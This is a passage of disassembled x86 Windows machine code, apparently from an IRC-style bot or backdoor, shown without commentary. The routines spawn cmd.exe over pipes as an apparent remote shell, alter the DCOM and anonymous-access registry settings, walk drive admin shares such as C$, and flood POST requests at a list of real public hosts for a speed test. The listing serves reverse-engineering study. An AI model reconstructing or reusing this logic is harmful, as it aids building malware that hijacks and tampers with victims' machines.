var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_41A092
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_4CE3C0 ; SearchPathA
test eax, eax
jz loc_41A3D0
lea eax, [ebp+var_1C]
mov edi, dword_42810C
push esi
push eax
lea eax, [ebp+var_C]
xor ebx, ebx
push eax
lea eax, [ebp+var_10]
inc ebx
push eax
mov [ebp+var_1C], 0Ch
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41A3D0
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41A3D0
mov edi, dword_428108
push 3
push esi
push esi
push offset dword_4DE550
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_428104 ; DuplicateHandle
test eax, eax
jz short loc_41A3D0
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BC00
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BC00
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_4404C4
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_428074 ; CreateProcessA
test eax, eax
jnz short loc_41A3D8
loc_41A3D0: ; CODE XREF: sub_41A2D6+2Fj
; sub_41A2D6+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A486
; ---------------------------------------------------------------------------
loc_41A3D8: ; CODE XREF: sub_41A2D6+F8j
push [ebp+var_4]
mov edi, dword_428070
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DE54C, eax
mov eax, [ebp+var_8]
mov dword_4DE554, eax
mov eax, [ebp+var_2C]
mov dword_4DE548, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DE58C, eax
jz short loc_41A412
push [ebp+arg_4]
jmp short loc_41A413
; ---------------------------------------------------------------------------
loc_41A412: ; CODE XREF: sub_41A2D6+135j
push ebx
loc_41A413: ; CODE XREF: sub_41A2D6+13Aj
push offset dword_4DE558
call sub_41BEF6
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43CA60
call sub_40B254
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_441250[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A181
push esi
push esi
call dword_428084 ; CreateThread
cmp eax, esi
mov dword_44125C[edi], eax
jnz short loc_41A484
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_43CA2C
push eax
call sub_41BEF6
lea eax, [ebp+var_378]
push eax
call sub_415F45
add esp, 10h
loc_41A484: ; CODE XREF: sub_41A2D6+185j
xor eax, eax
loc_41A486: ; CODE XREF: sub_41A2D6+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A2D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A48B proc near ; DATA XREF: sub_401AA1+2DBCo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A4D2
call sub_41A4EB
jmp short loc_41A4D7
; ---------------------------------------------------------------------------
loc_41A4D2: ; CODE XREF: sub_41A48B+3Ej
call sub_41A811
loc_41A4D7: ; CODE XREF: sub_41A48B+45j
add esp, 10h
push [ebp+var_14]
call sub_40B56A
pop ecx
push 0
call dword_4280D4 ; ExitThread
sub_41A48B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4EB proc near ; CODE XREF: sub_41A48B+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CE3D4, edi
jnz loc_41A61D
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CE378 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A576
mov ax, word_43B728
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CE32C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_41A55E
push offset dword_43CE28
jmp short loc_41A563
; ---------------------------------------------------------------------------
loc_41A55E: ; CODE XREF: sub_41A4EB+6Aj
push offset dword_43CDF0
loc_41A563: ; CODE XREF: sub_41A4EB+71j
push eax
call sub_41BEF6
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CE2E4 ; RegCloseKey
jmp short loc_41A589
; ---------------------------------------------------------------------------
loc_41A576: ; CODE XREF: sub_41A4EB+36j
lea eax, [ebp+var_214]
push offset dword_43CDA8
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_41A589: ; CODE XREF: sub_41A4EB+89j
cmp [ebp+arg_C], edi
jnz short loc_41A5A8
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41A5A8: ; CODE XREF: sub_41A4EB+A1j
lea eax, [ebp+var_214]
push eax
call sub_415F45
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CE378 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A616
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CE32C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_41A5FE
push offset dword_43CD40
jmp short loc_41A603
; ---------------------------------------------------------------------------
loc_41A5FE: ; CODE XREF: sub_41A4EB+10Aj
push offset dword_43CCF0
loc_41A603: ; CODE XREF: sub_41A4EB+111j
push eax
call sub_41BEF6
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CE2E4 ; RegCloseKey
jmp short loc_41A630
; ---------------------------------------------------------------------------
loc_41A616: ; CODE XREF: sub_41A4EB+E2j
push offset dword_43CC98
jmp short loc_41A622
; ---------------------------------------------------------------------------
loc_41A61D: ; CODE XREF: sub_41A4EB+13j
push offset dword_43CC50
loc_41A622: ; CODE XREF: sub_41A4EB+130j
lea eax, [ebp+var_214]
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_41A630: ; CODE XREF: sub_41A4EB+129j
cmp [ebp+arg_C], edi
jnz short loc_41A64F
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41A64F: ; CODE XREF: sub_41A4EB+148j
lea eax, [ebp+var_214]
push eax
call sub_415F45
cmp dword_4CE3FC, edi
pop ecx
jnz loc_41A7CC
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A672: ; CODE XREF: sub_41A4EB+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CE24C
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A711
cmp eax, 0EAh
jz short loc_41A711
xor esi, esi
loc_41A6A0: ; CODE XREF: sub_41A4EB+21Fj
push off_43CA84[esi]
push edi
call sub_41930F
pop ecx
pop ecx
push off_43CA84[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41A6C5
push offset dword_43CC14
jmp short loc_41A6CA
; ---------------------------------------------------------------------------
loc_41A6C5: ; CODE XREF: sub_41A4EB+1D1j
push offset dword_43CBD0
loc_41A6CA: ; CODE XREF: sub_41A4EB+1D8j
push 200h
push eax
call sub_41BFF0
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A6F7
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41A6F7: ; CODE XREF: sub_41A4EB+1F0j
lea eax, [ebp+var_214]
push eax
call sub_415F45
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_41A6A0
jmp loc_41A7A9
; ---------------------------------------------------------------------------
loc_41A711: ; CODE XREF: sub_41A4EB+1AAj
; sub_41A4EB+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_41A7A0
loc_41A720: ; CODE XREF: sub_41A4EB+2B1j
mov edi, [esi]
push edi
call sub_41DEB7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A795
push edi
call sub_4191FC
push eax
push 0
call sub_41930F
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41A755
push offset dword_43CB94
jmp short loc_41A75A
; ---------------------------------------------------------------------------
loc_41A755: ; CODE XREF: sub_41A4EB+261j
push offset dword_43CB50
loc_41A75A: ; CODE XREF: sub_41A4EB+268j
push 200h
push eax
call sub_41BFF0
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A788
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41A788: ; CODE XREF: sub_41A4EB+281j
lea eax, [ebp+var_214]
push eax
call sub_415F45
pop ecx
loc_41A795: ; CODE XREF: sub_41A4EB+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A720
xor edi, edi
loc_41A7A0: ; CODE XREF: sub_41A4EB+22Fj
push [ebp+var_8]
call dword_4CE398
loc_41A7A9: ; CODE XREF: sub_41A4EB+221j
cmp [ebp+var_10], 0EAh
jz loc_41A672
lea eax, [ebp+var_214]
push offset dword_43CB10
push eax
call sub_41BEF6
pop ecx
pop ecx
pop ebx
jmp short loc_41A7DF
; ---------------------------------------------------------------------------
loc_41A7CC: ; CODE XREF: sub_41A4EB+177j
lea eax, [ebp+var_214]
push offset dword_43CAC8
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_41A7DF: ; CODE XREF: sub_41A4EB+2DFj
cmp [ebp+arg_C], edi
jnz short loc_41A7FD
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41A7FD: ; CODE XREF: sub_41A4EB+2F7j
lea eax, [ebp+var_214]
push eax
call sub_415F45
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_41A4EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A811 proc near ; CODE XREF: sub_41A48B:loc_41A4D2p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CE3D4, ebx
push esi
jnz loc_41A93F
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CE378 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A89C
mov ax, word_43B76C
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CE32C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41A884
push offset dword_43D064
jmp short loc_41A889
; ---------------------------------------------------------------------------
loc_41A884: ; CODE XREF: sub_41A811+6Aj
push offset dword_43D030
loc_41A889: ; CODE XREF: sub_41A811+71j
push eax
call sub_41BEF6
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CE2E4 ; RegCloseKey
jmp short loc_41A8AF
; ---------------------------------------------------------------------------
loc_41A89C: ; CODE XREF: sub_41A811+36j
lea eax, [ebp+var_220]
push offset dword_43CDA8
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_41A8AF: ; CODE XREF: sub_41A811+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A8CE
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41A8CE: ; CODE XREF: sub_41A811+A1j
lea eax, [ebp+var_220]
push eax
call sub_415F45
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CE378 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A938
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CE32C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41A920
push offset dword_43CFD8
jmp short loc_41A925
; ---------------------------------------------------------------------------
loc_41A920: ; CODE XREF: sub_41A811+106j
push offset dword_43CF88
loc_41A925: ; CODE XREF: sub_41A811+10Dj
push eax
call sub_41BEF6
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CE2E4 ; RegCloseKey
jmp short loc_41A952
; ---------------------------------------------------------------------------
loc_41A938: ; CODE XREF: sub_41A811+E2j
push offset dword_43CF30
jmp short loc_41A944
; ---------------------------------------------------------------------------
loc_41A93F: ; CODE XREF: sub_41A811+13j
push offset dword_43CC50
loc_41A944: ; CODE XREF: sub_41A811+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_41A952: ; CODE XREF: sub_41A811+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A971
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41A971: ; CODE XREF: sub_41A811+144j
lea eax, [ebp+var_220]
push eax
call sub_415F45
cmp dword_4CE3FC, ebx
pop ecx
jnz loc_41AAE8
push edi
xor esi, esi
mov edi, 200h
loc_41A992: ; CODE XREF: sub_41A811+1EEj
push dword_43CA88[esi]
push off_43CA84[esi]
push ebx
call sub_419263
add esp, 0Ch
push off_43CA84[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_41A9BE
push offset dword_43CEF8
jmp short loc_41A9C3
; ---------------------------------------------------------------------------
loc_41A9BE: ; CODE XREF: sub_41A811+1A4j
push offset dword_43CEB8
loc_41A9C3: ; CODE XREF: sub_41A811+1ABj
push edi
push eax
call sub_41BFF0
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A9EC
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41A9EC: ; CODE XREF: sub_41A811+1BFj
lea eax, [ebp+var_220]
push eax
call sub_415F45
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_41A992
call dword_42819C ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41AAD0
loc_41AA14: ; CODE XREF: sub_41A811+2B9j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41AAC5
cmp bl, 41h
jz loc_41AAC5
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41BFF0
push esi
push offset aC_0 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41BFF0
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_4CE368 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41AAC5
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_419263
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_41AA89
push offset dword_43CEF8
jmp short loc_41AA8E
; ---------------------------------------------------------------------------
loc_41AA89: ; CODE XREF: sub_41A811+26Fj
push offset dword_43CEB8
loc_41AA8E: ; CODE XREF: sub_41A811+276j
push edi
push eax
call sub_41BFF0
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41AAB8
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41AAB8: ; CODE XREF: sub_41A811+28Bj
lea eax, [ebp+var_220]
push eax
call sub_415F45
pop ecx
loc_41AAC5: ; CODE XREF: sub_41A811+20Bj
; sub_41A811+214j ...
inc bl
shr [ebp+var_4], 1
jnz loc_41AA14
loc_41AAD0: ; CODE XREF: sub_41A811+1FDj
lea eax, [ebp+var_220]
push offset dword_43CE70
push eax
call sub_41BEF6
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41AAFB
; ---------------------------------------------------------------------------
loc_41AAE8: ; CODE XREF: sub_41A811+173j
lea eax, [ebp+var_220]
push offset dword_43CAC8
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_41AAFB: ; CODE XREF: sub_41A811+2D5j
cmp [ebp+arg_C], ebx
jnz short loc_41AB19
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
loc_41AB19: ; CODE XREF: sub_41A811+2EDj
lea eax, [ebp+var_220]
push eax
call sub_415F45
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
sub_41A811 endp
; =============== S U B R O U T I N E =======================================
sub_41AB2D proc near ; CODE XREF: sub_41AD24+CBp
; sub_41AD24+DDp ...
arg_0 = dword ptr 4
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
call sub_41BF52
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AB2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB47 proc near ; CODE XREF: sub_41AD24+D4p
; sub_41AD24+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B650
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41AD20
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BC00
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A7C5
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41AD20
push 50h
call dword_4CE308 ; ntohs
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CE388 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41AD20
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CE2B0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_41AD20
push 32003h
call sub_41D635
mov edi, dword_4280B0
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; GetTickCount
push eax
call sub_41BF48
call sub_41BF52
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BC00
push 32000h
push esi
push ebx
call sub_41BC00
push ebx
call sub_41B650
push 323EAh
mov ebx, eax
call sub_41D635
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41BEF6
push [ebp+var_8]
push esi
call sub_41C530
push offset asc_436F68 ; "\r\n"
push esi
call sub_41C530
add esp, 40h
push esi
call sub_41B650
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AC9E
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AC6E
; ---------------------------------------------------------------------------
loc_41AC6B: ; CODE XREF: sub_41AB47+155j
mov eax, [ebp+arg_0]
loc_41AC6E: ; CODE XREF: sub_41AB47+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
add eax, esi
cmp ecx, ebx
jnb short loc_41AC80
push [ebp+var_C]
jmp short loc_41AC81
; ---------------------------------------------------------------------------
loc_41AC80: ; CODE XREF: sub_41AB47+132j
push ebx
loc_41AC81: ; CODE XREF: sub_41AB47+137j
push eax
push [ebp+var_4]
call dword_4CE358 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41AD07
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AC6B
loc_41AC9E: ; CODE XREF: sub_41AB47+118j
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_4286FC
fst [ebp+arg_0]
fcomp flt_4286F8
fnstsw ax
test ah, 44h
jp short loc_41ACC8
fld1
fstp [ebp+arg_0]
loc_41ACC8: ; CODE XREF: sub_41AB47+17Aj
push [ebp+var_4]
call dword_4CE3A0 ; closesocket
push [ebp+var_8]
call sub_41B721
push esi
call sub_41B721
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_4286F4
fmul flt_4286F0
call sub_41CE04
loc_41AD02: ; CODE XREF: sub_41AB47+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41AD07: ; CODE XREF: sub_41AB47+147j
push [ebp+var_4]
call dword_4CE3A0 ; closesocket
push [ebp+var_8]
call sub_41B721
push esi
call sub_41B721
pop ecx
pop ecx
loc_41AD20: ; CODE XREF: sub_41AB47+19j
; sub_41AB47+42j ...
xor eax, eax
jmp short loc_41AD02
sub_41AB47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD24 proc near ; CODE XREF: sub_401AA1+2E11p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AB2D
push [ebp+eax*4+var_3C]
call sub_41AB47
push 8
mov esi, eax
call sub_41AB2D
push [ebp+eax*4+var_3C]
call sub_41AB47
add esp, 10h
test esi, esi
jz short loc_41AE25
test eax, eax
jz short loc_41AE21
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41AE27
; ---------------------------------------------------------------------------
loc_41AE21: ; CODE XREF: sub_41AD24+F4j
mov ebx, esi
jmp short loc_41AE27
; ---------------------------------------------------------------------------
loc_41AE25: ; CODE XREF: sub_41AD24+F0j
mov ebx, eax
loc_41AE27: ; CODE XREF: sub_41AD24+FBj
; sub_41AD24+FFj
push 0Ch
call sub_41AB2D
push [ebp+eax*4+var_6C]
call sub_41AB47
push 0Ch
mov edi, eax
call sub_41AB2D
push [ebp+eax*4+var_6C]
call sub_41AB47
add esp, 10h
test edi, edi
jz short loc_41AE5F
test eax, eax
jz short loc_41AE5B
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AE61
; ---------------------------------------------------------------------------
loc_41AE5B: ; CODE XREF: sub_41AD24+12Ej
mov esi, edi
jmp short loc_41AE61
; ---------------------------------------------------------------------------
loc_41AE5F: ; CODE XREF: sub_41AD24+12Aj
mov esi, eax
loc_41AE61: ; CODE XREF: sub_41AD24+135j
; sub_41AD24+139j
push 6
call sub_41AB2D
push [ebp+eax*4+var_1C]
call sub_41AB47
push 6
mov edi, eax
call sub_41AB2D
push [ebp+eax*4+var_1C]
call sub_41AB47
add esp, 10h
test edi, edi
jz short loc_41AE99
test eax, eax
jz short loc_41AE95
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AE9B
; ---------------------------------------------------------------------------
loc_41AE95: ; CODE XREF: sub_41AD24+168j
mov ecx, edi
jmp short loc_41AE9B
; ---------------------------------------------------------------------------
loc_41AE99: ; CODE XREF: sub_41AD24+164j
mov ecx, eax
loc_41AE9B: ; CODE XREF: sub_41AD24+16Fj
; sub_41AD24+173j
xor eax, eax
test ebx, ebx
jz short loc_41AEA8
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AEA8: ; CODE XREF: sub_41AD24+17Bj
push 2
pop edi
loc_41AEAB: ; CODE XREF: sub_41AD24+182j
test esi, esi
jz short loc_41AEB3
add eax, esi
jmp short loc_41AEB4
; ---------------------------------------------------------------------------
loc_41AEB3: ; CODE XREF: sub_41AD24+189j
dec edi
loc_41AEB4: ; CODE XREF: sub_41AD24+18Dj
test ecx, ecx
jz short loc_41AEBC
add eax, ecx
